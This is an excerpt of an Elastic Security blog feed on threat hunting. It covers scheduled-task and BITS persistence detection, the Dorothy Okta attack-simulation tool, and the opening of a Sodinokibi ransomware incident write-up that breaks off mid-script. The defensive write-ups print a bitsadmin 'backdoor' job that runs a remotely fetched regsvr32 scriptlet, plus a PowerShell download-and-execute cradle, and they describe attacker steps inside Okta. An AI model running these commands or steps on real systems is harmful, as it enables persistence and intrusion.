<p>This query matches behaviors described in our earlier APT34 example, in which schtasks.exe descended from wscript.exe. Windows script host (WSH) is a script interpreter and should generally not have many descendants. In this case, it indicates that WSH was used to interpret a JScript or VBScript object that directly or by proxy implemented a scheduled task using schtasks.exe. This EQL query can also be saved as a custom rule in Elastic Endpoint Security so that analysts can be alerted every time this activity occurs.</p>
<pre><code>process where subtype.create and
 process_name == "schtasks.exe" and
  descendant of
   [process where process_name in ("cmd.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe",
    "wmic.exe", "mshta.exe","powershell.exe")] and
   command_line == "* /create*" and
   wildcard(command_line, "*/RU*", "*/SC*", "*/TN*", "*/TR*", "*/F*")
| unique command_line
</code></pre>
<p><em>Figure 7 - EQL query to search for the creation of schtasks.exe as a descendant of commonly abused processes</em></p>
<p>In <a href="https://www.elastic.co/siem">Elastic SIEM</a>, we can search for the use of the scheduled tasks utility and drag and drop fields of interest into the responsive Timeline (Figure 8) for further investigation. Data from multiple indices, or data sources, can be added to the <a href="https://www.elastic.co/guide/en/siem/guide/current/siem-ui-overview.html">Timeline</a> view, which enables analysts to organize leads and investigate complex threats. <a href="https://www.elastic.co/blog/elastic-stack-7-6-0-released">Version 7.6</a> introduced a detection engine that included 92 out-of-the-box rules for detection in Windows, Linux, network, and APM telemetry — as well as enabling users to create their own custom rules.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta09911903c7415d5/6a7d81d83cab1c2e920e1a14/Timeline2.gif" alt="Figure 8 - Using Timeline in Elastic SIEM to investigate schtasks.exe creation events" title="Figure 8 - Using Timeline in Elastic SIEM to investigate schtasks.exe creation events" /></p>
<h2 id="otherscheduledtaskconsiderations">Other scheduled task considerations</h2>
<p>Scheduled tasks may not seem sophisticated, but they are a great example of how hunters must understand the various ways that an adversary can schedule a task on a system. When shallowly monitoring a technique (i.e., only looking for use of schtasks.exe), a team can easily lull itself into a false sense of security. Understanding adversary tradecraft and having access to the relevant telemetry is crucial for successful threat hunting.</p>
<p>It’s important to note that there are many other ways scheduled tasks can be abused by adversaries, including offensive security tools, custom scripts, .job files, the AT command, and directly via the <a href="https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-reference">Task Scheduler API</a>. Elastic Security provides detections and preventions for various TTPs related to scheduled task abuse and provides API-level visibility.</p>
<p>In the next section, we’ll analyze BITS jobs, how they are used by attackers in the wild, and a variety of methods to identify or detect this technique.</p>
<h2 id="persistenceviabitsjobst1197">Persistence via BITS jobs (T1197)</h2>
<p>Windows <a href="https://docs.microsoft.com/en-us/windows/win32/bits/background-intelligent-transfer-service-portal">Background Intelligent Transfer Service (BITS)</a> is a built-in framework used to transfer files to and from web and SMB servers. Microsoft provides a utility called bitsadmin.exe and PowerShell cmdlets for managing the transfer of files.</p>
<p>Microsoft uses BITS to download and install updates in the background — using idle bandwidth. For example, if a user starts a Windows Update and signs out of the computer, or if a network connection is lost, BITS will resume the download automatically as soon as it is able. The capability to survive reboots makes it an ideal tool for attackers to transfer malicious files and possibly large volumes of data the actor plans to steal. Threat groups like <a href="https://attack.mitre.org/groups/G0065/">APT40</a> and malware families such as the Qbot banking trojan have used BITS to transfer malicious files and set up persistence.</p>
<p>Figure 9 shows some <a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin">parameters</a> that can be used with bitsadmin.exe. We can identify interesting activity by focusing on creation and transfer command line options.</p>
<pre><code>/create - creates a transfer job with the given display name
/addfile - adds a file to the specified job
/resume - activates a new or suspended job in the transfer queue
/transfer - transfers one or more files
/SetNotifyCmdLine - sets the command that will run when the job finishes transferring data or when a job enters a state
/SetMinRetryDelay - sets the minimum length of time, in seconds, that BITS waits after encountering a transient error before trying to transfer the file
</code></pre>
<p><em>Figure 9 - Parameters that can be used with the Windows bitsadmin.exe utility</em></p>
<p>Figure 10 shows an example of how the above parameters can be used to create a BITS job. The below example from the <a href="https://github.com/3gstudent/bitsadminexec">bitsadminexec</a> project demonstrates how bitsadmin.exe can be used to execute the Squiblydoo technique, discovered by <a href="https://twitter.com/subTee">Casey Smith</a>. Squiblydoo utilizes regsvr32.exe to download an XML file that contains scriptlets for executing code on the victim machine. This <a href="https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct">sample</a> executes calc.exe, but it’s a good use case for how this could be used maliciously:</p>
<pre><code># create backdoor
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor
</code></pre>
<p><em>Figure 10 - Example of using bitsadmin.exe to execute Squiblydoo</em></p>
<p>Since BITS <a href="https://docs.microsoft.com/en-us/windows/win32/bits/what-s-new">version 4.0</a> (standard in Windows Server 2008 R2 and Windows 7), PowerShell cmdlets can also be used to create and manage file transfer jobs. The PowerShell <a href="https://docs.microsoft.com/en-us/windows/win32/bits/bits-powershell-commands">cmdlets</a> for BITS provide much of the same functionality as the bitsadmin.exe command line utility, a subset of which are depicted in Figure 11:</p>
<pre><code>Add-BitsFile - add one or more files to a BITS transfer
Resume-BitsTransfer - resumes a suspended BITS transfer job
Set-BitsTransfer - modifies the properties of a BITS transfer job
Start-BitsTransfer - create and start a BITS transfer job
</code></pre>
<p><em>Figure 11 - Common PowerShell cmdlets for BITS</em></p>
<p>A good cmdlet to monitor is Start-BitsTransfer. The local and remote names of the file are specified in the Source and Destination parameters. This can be depicted as seen in Figure 12. As stated previously, analysts should monitor suspicious script block logging events, Event ID 4104, in the Microsoft-Windows-PowerShell/Operational log.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbec5684a9c1c9e2d/6a7d81db5967e5afcb5da559/adversary-tradecraft-101-part-2-image3.jpg" alt="Figure 12 - PowerShell scriptblock event from Microsoft-Windows-PowerShell/Operational log" title="Figure 12 - PowerShell scriptblock event from Microsoft-Windows-PowerShell/Operational log" /></p>
<h2 id="huntingformaliciousbitsjobs">Hunting for malicious BITS jobs</h2>
<p>The EQL query in Figure 13 demonstrates some of the command line arguments you might see while hunting for malicious use of bitsadmin.exe. The query searches for a process creation event for the bitsadmin.exe binary and the common command line parameters associated with the creation or transfer of a BITS job, and returns unique results based on the command line value. Focusing on unique results while hunting allows us to narrow our focus and more easily spot anomalous activity.</p>
<pre><code>process where subtype.create and
  process_name == "bitsadmin.exe" and
  wildcard(command_line, "*Transfer*", "*Create*", "*AddFile*", "*SetNotifyCmdLine*",
                        "*SetMinRetryDelay*", "*Resume*")
| unique command_line
</code></pre>
<p><em>Figure 13 - EQL query looking for common bitsadmin.exe command line parameters</em></p>
<p>Additionally, during rule creation, you have the option to enable a "Reflex Response." With “Reflex Response,” if such behavior defined in a custom rule is detected, it uses Endpoint Security’s unique telemetry-gathering and enrichment to execute an automated response before damage and loss can occur (Figure 14). This functionality enables analysts to take action to stop the malicious behavior and then investigate the events that led up to and occurred after the threat, as opposed to investigating a current threat that may be past the point of remediation.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcebda3104656f4b8/6a7d81dee88c65f291008990/adversary-tradecraft-101-part-2-image4.jpg" alt="Figure 14 - Reflex Response in Elastic Endpoint Security" title="Figure 14 - Reflex Response in Elastic Endpoint Security" /></p>
<p>Executing an EQL hunt in the Endpoint Security product using the EQL query from above can lead to finding real-world campaigns like Qbot, shown in Figure 15.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt81b2e1ab3346fd04/6a7d81e1e02fac388c5d352e/adversary-tradecraft-101-part-2-image5.png" alt="Figure 15 - Results of EQL hunt in Elastic Endpoint Security" title="Figure 15 - Results of EQL hunt in Elastic Endpoint Security" /></p>
<h2 id="realworldexampleqbotmalware">Real-world example: Qbot malware</h2>
<p>QBot is a widely distributed banking Trojan that is capable of self-replication and has historically relied on PowerShell. Recently, however, it may have been <a href="https://www.varonis.com/blog/varonis-discovers-global-cyber-campaign-qbot/">abandoned</a> in favor of bitsadmin.exe — an application unlikely to be scrutinized as aggressively.</p>
<p>This variant utilizes a .vbs dropper by masquerading as a .doc file, as Windows still hides the original filename extension by default. Upon execution, in this case via the parent process wscript.exe, the malware spawns bitsadmin.exe to create a transfer job that downloads a subsequent payload, shown in the Timeline view in the SIEM app (Figure 16).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3fa3a5de75cedf56/6a7d81e405b7b543de188b64/adversary-tradecraft-101-part-2-image6.png" alt="Figure 16 - Process arguments from Qbot banking malware shown in the Elastic SIEM" title="Figure 16 - Process arguments from Qbot banking malware shown in the Elastic SIEM" /></p>
<p>Analyzing the process.args field values as depicted in Figure 17 reveals that the malware takes the following actions:</p>
<ul>
<li>Creates a randomly named transfer job with high priority</li>
<li>Uses bitsadmin.exe to download its second stage payload from a command &amp; control (C2) server (Note that widgetcontrol.png is actually a Windows executable)</li>
<li>Base64 encodes data on the endpoint’s operating system version and antivirus software, which it passes back to C2 in the beacon URI</li>
<li>Randomizes the name of the payload and writes it to a subfolder of the %AppData% path</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt502b6fd596a5b2b4/6a7d81e6de2315ff31fd4e4c/adversary-tradecraft-101-part-2-image7.png" alt="Figure 17 - Analysis of process arguments from Qbot banking malware" title="Figure 17 - Analysis of process arguments from Qbot banking malware" /></p>
<p>This example showcases how bitsadmin.exe can be used by threat actors to attempt to bypass traditional defenses by using a less common, built-in utility. This application is effectively used by threat actors for transferring files and maintaining a presence in a victim environment.</p>
<h2 id="othersbitsandpieces">Others BITS and pieces</h2>
<p>The Microsoft_Windows_Bits_Cient Operational.evtx log file is a native Microsoft event log. It records every operation executed by the BITS client, either via bitsadmin.exe or PowerShell. Within that log store, Event ID 3 is used when The BITS service creates a new job. <a href="https://www.elastic.co/downloads/beats/winlogbeat">Winlogbeat</a> can be configured to monitor that event.provider as shown in Figure 18. Elastic Security provides telemetry, detections, and threat hunting capabilities for BITS abuse at enterprise scale.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4f7177a88d8415a5/6a7d81e94c4bfb9e5ccca863/adversary-tradecraft-101-part-2-image8.png" alt="Figure 18 - Microsoft-Windows-Bit-Client event from Winlogbeat" title="Figure 18 - Microsoft-Windows-Bit-Client event from Winlogbeat" /></p>
<h2 id="conclusion">Conclusion</h2>
<p>In this blog series, we examined popular techniques that attackers use to maintain a presence in their target environments. The number of techniques in an attacker’s arsenal can seem daunting at first, but we demonstrated a formulaic approach to examining, hunting for, and detecting techniques effectively. By building comprehension around adversary tradecraft, you can identify interesting patterns, behaviors, and artifacts that you can use to your advantage.</p>
<p>Elastic Security makes hunting for persistence easy. The features of Elastic Endpoint Security and SIEM — along with the protections provided out of the box — lower the barriers to entry for analysts, provides detailed visibility into endpoint activity, and enables organizations to prevent, detect, and respond to malicious behavior at scale.</p>
<p>Try <a href="https://www.elastic.co/security/siem">Elastic SIEM</a> for free today. To learn more about threat hunting, download a free copy of <a href="https://ela.st/threat-hunting">The Elastic Guide to Threat Hunting</a>.</p>
<p>View our webinar on <a href="https://www.elastic.co/webinars/hunting-for-persistence-using-elastic-security">Hunting for persistence using Elastic Security</a>.</p>
<p>Plus, <a href="https://github.com/elastic/elasticsearch/issues/49581">EQL support is being added to Elasticsearch</a>!</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/hunting-for-persistence-using-elastic-security-part-2</link>
    <guid isPermaLink="false">hunting-for-persistence-using-elastic-security-part-2</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Brent Murphy,David French,Elastic Security Intelligence & Analytics Team]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4070d2cb2ce0318c/6a7d81ec5967e5d2b55da55f/blog-thumb-shattered-lock.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 21 Jun 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Testing your Okta visibility and detection with Dorothy and Elastic Security]]></title>
    <description><![CDATA[Dorothy is a tool for security teams to test their visibility and detection capabilities for their Okta environment. IAM solutions are frequently targeted by adversaries but poorly monitored. Learn how to get started with Dorothy in this post.]]></description>
    <content:encoded><![CDATA[<p>When approached by stakeholders in their organization, few security teams can confidently demonstrate that logging and alerting capabilities are working as expected. Organizations have become more distributed and reliant on cloud offerings for use cases such as identity and access management, user productivity, and file storage. Meanwhile, adversaries have extended their operational capabilities in cloud environments. It is crucial that security teams are able to monitor these systems for abuse in order to protect their organization’s data from attack.</p>
<p><a href="https://github.com/elastic/dorothy">Dorothy</a> is a free and open tool to help security teams test their visibility, monitoring, and detection capabilities for Okta Single Sign-On (SSO) environments. We’ll demonstrate how Dorothy can be used to execute tests and how <a href="https://www.elastic.co/security">Elastic Security</a> can be used to alert on relevant and suspicious behavior using our <a href="https://github.com/elastic/detection-rules/">free and open detection rules</a>.</p>
<h2 id="whatisoktasso">What is Okta SSO?</h2>
<p>For those who aren’t familiar, <a href="https://www.okta.com/products/single-sign-on/">Okta SSO</a> is a cloud-based identity management solution that allows users to authenticate to a variety of systems and applications within their organization using a single user account. Informing end users that they only have to remember <em>one</em> username and password instead of ten or more reduces the risk that they’ll develop poor password hygiene and enables system administrators to enforce stronger password policies. Further, multi-factor authentication (MFA) policies can be configured in Okta, which raises the barrier to entry for attackers. Many attackers will simply move on and look for an easier target when they discover that MFA is enforced in their target’s network or user account.</p>
<p>While SSO solutions can provide a convenient user experience and reduce cybersecurity risk for an organization, these centralized systems offer a type of skeleton key to many systems and applications, and are often an attractive target for attackers. It’s critical that security teams understand what normal behavior looks like in their Okta environment so that they can identify suspicious activity more easily.</p>
<h2 id="meetdorothy">Meet Dorothy</h2>
<p><a href="https://github.com/elastic/dorothy">Dorothy</a> has 25+ modules to simulate actions an attacker may take while operating in an Okta environment and behavior that security teams should monitor for, detect, and alert on. All modules are mapped to the relevant <a href="https://attack.mitre.org/">MITRE ATT&amp;CK®</a> tactics, such as Persistence, Defense Evasion, Discovery, and Impact.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbc2523c9b8422f1a/6a7c9637da3d05934a6341b2/1-Dorothy-blog-listing-modules.png" alt="Figure 1 - Starting Dorothy and listing its modules" title="Figure 1 - Starting Dorothy and listing its modules" /></p>
<p>Dorothy was created to help defenders test their security visibility and controls, and does not provide any modules to obtain initial access or escalate privileges in an Okta environment. To execute actions using Dorothy, a valid Okta API token is required that is linked to a user with one or more administrator roles assigned.</p>
<p>A user-friendly shell interface with contextual help is provided for navigation between menus and modules, helping guide the user through simulated intruder scenarios. Other features include configuration profiles to manage connections to individual Okta environments and detailed logging with the option of indexing events into Elasticsearch to provide an audit trail of the actions that were executed using Dorothy.</p>
<h2 id="executingactionsinanoktaenvironmentusingdorothy">Executing actions in an Okta environment using Dorothy</h2>
<p>In this section, we demonstrate how to execute some of Dorothy’s modules in an Okta environment. Figure 2 below shows the typical workflow for an Elastic Security user. After this demonstration, you should be comfortable with heading over to Dorothy’s GitHub repository and following the “Getting Started” steps in the project’s <a href="https://github.com/elastic/dorothy/wiki">wiki</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc8b80cb8655da245/6a7c963a05b7b5963a185eb5/2-Dorothy-blog-example_workflow.png" alt="Figure 2 - Example workflow for executing actions in an Okta environment using Dorothy" title="Figure 2 - Example workflow for executing actions in an Okta environment using Dorothy" /></p>
<h3 id="whoami">whoami?</h3>
<p>Let’s put ourselves in an attacker's shoes and think about what actions they might take while operating in an Okta environment. As an attacker with an initial foothold, the first questions I'll have are about the user for which I have an API token. Let's simulate this attacker action through Dorothy's whoami command to look at the associated user’s login ID, last login time, and last password change.</p>
<p>Now that we have a better understanding of the user account we have control of, we’ll list Dorothy’s modules and check out the help menu before making our next move.</p>
<div>
    
</div>
<p><em>Figure 3 - Executing Dorothy’s whoami and list-modules commands</em></p>
<h3 id="discovery">Discovery</h3>
<p>Dorothy has several discovery modules we can use to simulate the knowledge an attacker might obtain about an Okta environment. Adversaries will often spend time to learn details of an environment after obtaining initial access — details that are essential for orienting themselves before planning their next steps.</p>
<p>Let’s try and gain some knowledge about the Okta environment by harvesting the following information:</p>
<ul>
<li>Users - A list of names, login IDs, email addresses, password recovery questions, and the status of each user will be useful when choosing which accounts to take control of, modify, or leave intact to avoid detection</li>
<li>Policies - <a href="https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm">Okta policies</a> are used to control elements of security, including password complexity and MFA requirements, as well as the devices that users are permitted to use. This knowledge will come in handy if we decide to weaken some components of the target’s security configuration</li>
<li>Zones - <a href="https://help.okta.com/en/prod/Content/Topics/Security/network/network-zones.htm">Network zones</a> can be used to define security perimeters for an Okta environment. Similar to policies, this information helps us learn how the environment is configured and make informed decisions before implementing any changes on how traffic is allowed or blocked</li>
</ul>
<p>Finally, we’ll execute the find-admins module to enumerate the roles of each Okta user and identify which users have one or more administrator roles assigned to them.</p>
<div>
    
</div>
<p><em>Figure 4 - Executing Dorothy’s “discovery” modules to gain knowledge about the Okta environment</em></p>
<p>Other discovery modules to help with information gathering tasks include find-users-without-mfa to find users who may authenticate using only a username and password and find-admin-groups to identify user groups that have one or more administrator roles assigned to them.</p>
<h3 id="persistence">Persistence</h3>
<p>Once an attacker has obtained access to their target environment, they may look for opportunities to establish persistence. Persistence helps an attacker maintain access in the event that they lose their initial foothold. A common example of how an adversary might lose their access is when the security team detects their presence and disables the compromised user account that the attacker is utilizing or blocks their communications at the network perimeter.</p>
<p>Having one or more persistence mechanisms in place means that the attacker will be able to continue their mission if one of their pathways is blocked or interrupted. In this example, we’ll use Dorothy's create-user and create-admin-user modules to create an Okta user and <a href="https://github.com/elastic/detection-rules/blob/main/rules/okta/persistence_administrator_role_assigned_to_okta_user.toml">assign an administrator role</a> to the new user. Next, we'll create a recovery question for another Okta user so that we can go through the process of resetting the password for that user and take control of their account as another method of persistence.</p>
<div>
    
</div>
<p>Dorothy has other persistence modules to help us understand the steps an attacker might take, such as reset-factors to <a href="https://github.com/elastic/detection-rules/blob/main/rules/okta/persistence_attempt_to_reset_mfa_factors_for_okta_user_account.toml">remove a user's enrolled authentication factors</a> and reset-password to generate a one-time link to reset a user's password.</p>
<h3 id="defenseevasion">Defense Evasion</h3>
<p>Adversaries will attempt to execute defense evasion techniques to avoid detection throughout their mission. For example, an attacker may attempt to disable security logging to render the security team blind to their nefarious actions.</p>
<p>At this point, we’ve gained knowledge about the environment and configured a couple of forms of persistence. Let’s execute Dorothy's <a href="https://github.com/elastic/detection-rules/blob/main/rules/okta/okta_attempt_to_deactivate_okta_policy.toml">change-policy-state</a> and <a href="https://github.com/elastic/detection-rules/blob/main/rules/okta/attempt_to_deactivate_okta_network_zone.toml">change-zone-state</a> modules to weaken the “target's” security controls.</p>
<div>
    
</div>
<p><em>Figure 6 - Deactivating Okta policy and network zone objects</em></p>
<p>Other defense evasion-themed modules can activate, deactivate, or modify other Okta objects such as applications and individual policy rules.</p>
<p>We’ll stop our fictitious attack scenario here, but if you’re curious to learn what else Dorothy can do, head over to the <a href="https://github.com/elastic/dorothy">GitHub repository</a>.</p>
<h2 id="detectingsuspiciousbehaviorwithelasticsecurity">Detecting suspicious behavior with Elastic Security</h2>
<p>In this section, we'll demonstrate how Okta's <a href="https://help.okta.com/en/prod/Content/Topics/Reports/Reports_SysLog.htm">system log</a> powers our free detection rules to monitor for and alert teams to suspicious behavior.</p>
<p>Okta's system log provides an audit trail of activity that was observed in an organization's environment. This includes activity such as users logging in or changing their password, administrators making configuration changes, and much more. This data source is incredibly useful for security monitoring, investigations, compliance, and response activities.</p>
<h3 id="ingestingoktasystemlogswithfleet">Ingesting Okta system logs with Fleet</h3>
<p><a href="https://www.elastic.co/guide/en/fleet/current/fleet-overview.html">Fleet</a> provides a web-based UI in Kibana to add and manage integrations for popular services and platforms including Okta, AWS, Azure, Google Cloud Platform, Google Workspace, and many others. Fleet’s Okta integration provides an easy way to ingest and normalize Okta’s system log events.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt692881dd31dd9b5c/6a7c963d7cfd7a119e315136/7-Dorothy-blog-reviewing-fleet.png" alt="Figure 7 - Reviewing Fleet’s Okta integration in Kibana" title="Figure 7 - Reviewing Fleet’s Okta integration in Kibana" /></p>
<p>An <a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-okta.html">Okta Filebeat module</a> is also available for teams that already use Beats.</p>
<h3 id="detectingsuspiciousbehaviorwithelasticsecuritysfreedetectionrules">Detecting suspicious behavior with Elastic Security’s free detection rules</h3>
<p>The Elastic Security Protections Team researches adversary tradecraft in order to develop detections and preventions for endpoint, cloud, and network platforms. Our <a href="https://github.com/elastic/detection-rules">detection rules</a> are free and developed in the open alongside the broader security community.</p>
<p>Our Okta rules utilize the indexed system log events that are normalized into <a href="https://www.elastic.co/guide/en/ecs/current/ecs-reference.html">Elastic Common Schema (ECS)</a> and alert security teams to relevant and suspicious behavior.</p>
<p>Figure 8 below shows a number of alerts in Elastic Security after Dorothy was used to simulate actions that an attacker might take while operating in an Okta environment.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt766cd0323a7a19a3/6a7c964073d9bd482e29806a/8-Dorothy-blog-reviewing-alerts.png" alt="Figure 8 - Reviewing open alerts in Elastic Security" title="Figure 8 - Reviewing open alerts in Elastic Security" /></p>
<p>What about those pesky false positives? Adding exceptions to rules in Elastic Security to filter routine and expected behavior is straightforward. This feature includes an option to close all alerts that match the exception to save you time.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt111a3904dc75a56b/6a7c96431967ea631832aca1/9-Dorothy-blog-adding_exception.jpg" alt="Figure 9 - Adding an exception to an Okta rule in Elastic Security" title="Figure 9 - Adding an exception to an Okta rule in Elastic Security" /></p>
<h2 id="measureyourcloudcoverwithdorothy">Measure your cloud cover with Dorothy</h2>
<p>Okta and other identity management solutions are frequently targeted by adversaries, but are often poorly monitored, if at all. We created Dorothy as a tool to help security teams understand how adversaries can operate within Okta environments, further empowering them to test their visibility and efficacy of our free and open detection rules.</p>
<p>You can learn how to get started with Dorothy by visiting the project’s <a href="https://github.com/elastic/dorothy/wiki">wiki</a>. If you're not already an Elastic Security user, you can sign up for a <a href="https://www.elastic.co/cloud/">free cloud trial</a> today and check out our free <a href="https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo">detection rules</a>.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/testing-okta-visibility-and-detection-dorothy</link>
    <guid isPermaLink="false">testing-okta-visibility-and-detection-dorothy</guid>
    <category><![CDATA[Detection Engineering]]></category>
    <dc:creator><![CDATA[David French]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt52b143d6fcf0bd27/6a7c96467cfd7ae80d31513a/blog-thumb-dorothy-cow.jpg" length="0" type="image/jpeg"/>
    <pubDate>Thu, 02 Jun 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Ransomware, interrupted: Sodinokibi and the supply chain]]></title>
    <description><![CDATA[Learn how Elastic Endpoint Security's behavior-based protections prevented a targeted ransomware attack on multiple endpoints.]]></description>
    <content:encoded><![CDATA[<p>Last month, the <a href="https://www.elastic.co/blog/introducing-elastic-endpoint-security">Elastic Security</a> Protections Team prevented an attempted ransomware attack targeting an organization monitored by one of our customers, an IT Managed Service Provider (MSP). We analyzed the alerts that were generated after an adversary’s process injection attempts were prevented by <a href="https://www.elastic.co/products/endpoint-security">Elastic Endpoint Security</a> on several endpoints. Adversaries often attempt to inject their malicious code into a running process before encrypting and holding the victim’s data to ransom.</p>
<p>The behavior we observed in this case is consistent with reports of malicious actors, who have targeted MSPs in order to deploy ransomware at an enterprise scale. By abusing the trust relationships between MSPs and their customers, attacks of this nature scale in impact — capable of crippling small businesses, interfering with transportation, or even disrupting a critical municipal public service.</p>
<p>It is important to note in this case that the adversary accessed the target environment via another MSP, who is not an Elastic Security customer — we do not have specific details about that environment or how it may have been compromised.</p>
<p>In this post, we’ll discuss the malicious behavior that we observed and prevented, why this attack is often successful in the wild, and what you can do to reduce the effectiveness of this type of attack in your enterprise.</p>
<blockquote>
  <p>Elastic Security Intelligence and Analytics, a team within Elastic Security Engineering, uses anonymized security telemetry from participating customers to track threats and improve products, a function that includes collecting alert metadata. By monitoring patterns of events affecting many customers, we’re able to make time-sensitive decisions that improve our ability to mitigate emerging threats or provide the community with essential information.</p>
</blockquote>
<h2 id="preventingmaliciousprocessinjection">Preventing malicious process injection</h2>
<p>The earliest evidence of compromise was detected when several <a href="https://attack.mitre.org/techniques/T1055/">process injection</a> attempts were prevented. Process injection can be used to execute code in the address space of a running process. Adversaries often execute this technique in an attempt to avoid detection by security products, or to run their malicious code in a process running at a higher integrity level to elevate their privileges.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt673384872e2888ad/6a7c927973d9bd94a0297f1b/ransomware-prevention-blog-process-injection-alerts.jpg" alt="Process Injection alerts in the Elastic Endpoint Security platform" title="Process Injection alerts in the Elastic Endpoint Security platform" /></p>
<p>Analyzing the process injection alerts established that PowerShell, a powerful native scripting framework, was leveraged in an attempt to inject shellcode into itself — a behavior that is usually malicious. The powershell.exe process was created as a descendant of ScreenConnect.WindowsClient.exe — a remote desktop support application. This type of software is used to allow IT administrators to connect to remote computers and provide support to end users, but applications like this are often abused by adversaries — a tactic known as “living off the land.”</p>
<p>The figure below depicts the unusual process lineage associated with this case in Resolver™, our visualization that displays events associated with an attack.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9015091a0a95ac0e/6a7c927cda3d05bc7b63408f/ransomware-prevention-blog-resolver.jpg" alt="Resolver™ showing the process lineage associated with the Process Injection attempt" title="Resolver™ showing the process lineage associated with the Process Injection attempt" /></p>
<p>Notice that cmd.exe and powershell.exe are both descendants of the ScreenConnect.WindowsClient.exe process. This is suspicious considering their ability to execute malicious commands or scripts, but in isolation this does not necessarily indicate malicious activity. Baselining your environment and understanding normal process relationships in your enterprise is crucial to hunting for, detecting, or responding to malicious behavior.</p>
<p>In this case, reviewing the processes and their command line arguments revealed that the adversary leveraged ScreenConnect remote desktop software to connect and copy a batch file to the target endpoint. Examining one of the cmd.exe processes in Resolver™ showed that the batch file contained a Base64-encoded PowerShell script that was subsequently executed.</p>
<h2 id="detectingandpreventingunwantedbehaviorswitheql">Detecting and preventing unwanted behaviors with EQL</h2>
<p>While this potential target protected by Elastic Endpoint Security avoided an expensive ransomware outbreak, many MSPs are still coming to grips with this methodology. This adversary understands that service providers often have implicit trust with their customers and that makes providers of all kinds valuable.</p>
<p>Once an adversary has obtained initial access to their target environment, it is typical for them to seek out and abuse implicit trust relationships as seen in this case. The victim organization trusts the connections to their environment from their MSP via the remote desktop support application, which introduces the risk of <a href="https://attack.mitre.org/techniques/T1195/">supply chain compromise</a>.</p>
<p>When considering how to monitor and defend these trust relationships, focusing on applications that connect from the trusted party into your network is a good starting point. Blacklisting descendant processes of ScreenConnect may not be a viable solution to prevent this malicious behavior, as this may prevent legitimate support personnel from being effective. However, a security monitoring team may decide that a descendant process of ScreenConnect that is using the network is suspicious and want to detect and prevent that behavior. This is possible using <a href="https://www.endgame.com/blog/technical-blog/getting-started-eql">Elastic’s Event Query Language (EQL)</a> and is a generic approach to developing environmental awareness.</p>
<p>The following EQL query searches for a sequence of two events that are tied together using the process’s unique process ID (PID). The first event looks for a process that is a descendant of ScreenConnect*.exe. The second event looks for network activity from the descendant process. This query can easily be expanded to include other remote access software or filter expected activity in your environment.</p>
<pre><code>sequence by unique_pid
  [process where descendant of [process where process_name == "ScreenConnect*.exe"]]
  [network where true]
</code></pre>
<p>With Elastic Endpoint Security, it is also possible to configure a <a href="https://www.elastic.co/blog/what-is-reflex">Reflex response action</a>, which is a way for customers to implement their own custom prevention rules. For example, we can kill the descendant process when it establishes a network connection, which would prevent additional malicious code from being downloaded or command and control activity.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3daa58047ac20f48/6a7c927e6c6eac1690f0e6b4/ransomware-prevention-blog-reflex-response.jpg" alt="Configuring a Reflex response action in the Elastic Endpoint Security platform" title="Configuring a Reflex response action in the Elastic Endpoint Security platform" /></p>
<p>Elastic Endpoint Security ships with hundreds of our own behavior-based analytics that include ways to detect and prevent abnormal process relationships involving third-party administrative tools or binaries that are native to the Windows, MacOS, or Linux operating systems.</p>
<h2 id="analysisofadversarytradecraft">Analysis of adversary tradecraft</h2>
<p>The PowerShell script that was executed checked the processor architecture before utilizing the .NET WebClient class to download content from Pastebin and the Invoke-Expression (IEX) cmdlet to execute code. This is a popular technique amongst adversaries for downloading and executing code via PowerShell.</p>
<p>Pastebin is a plain text hosting and sharing service where legitimate users often share code snippets. However, malicious actors utilize Pastebin and similar websites to store malicious code or publish leaked credentials.</p>
<pre><code>If ($ENV:PROCESSOR_ARCHITECTURE  - contains 'AMD64')  {
    Start - Process  - FilePath "$Env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"  - argument "IEX ((new-object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));Invoke-LJJJIWVSRIMKPOD;Start-Sleep -s 1000000;"
} else {
    IEX ((new - object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));
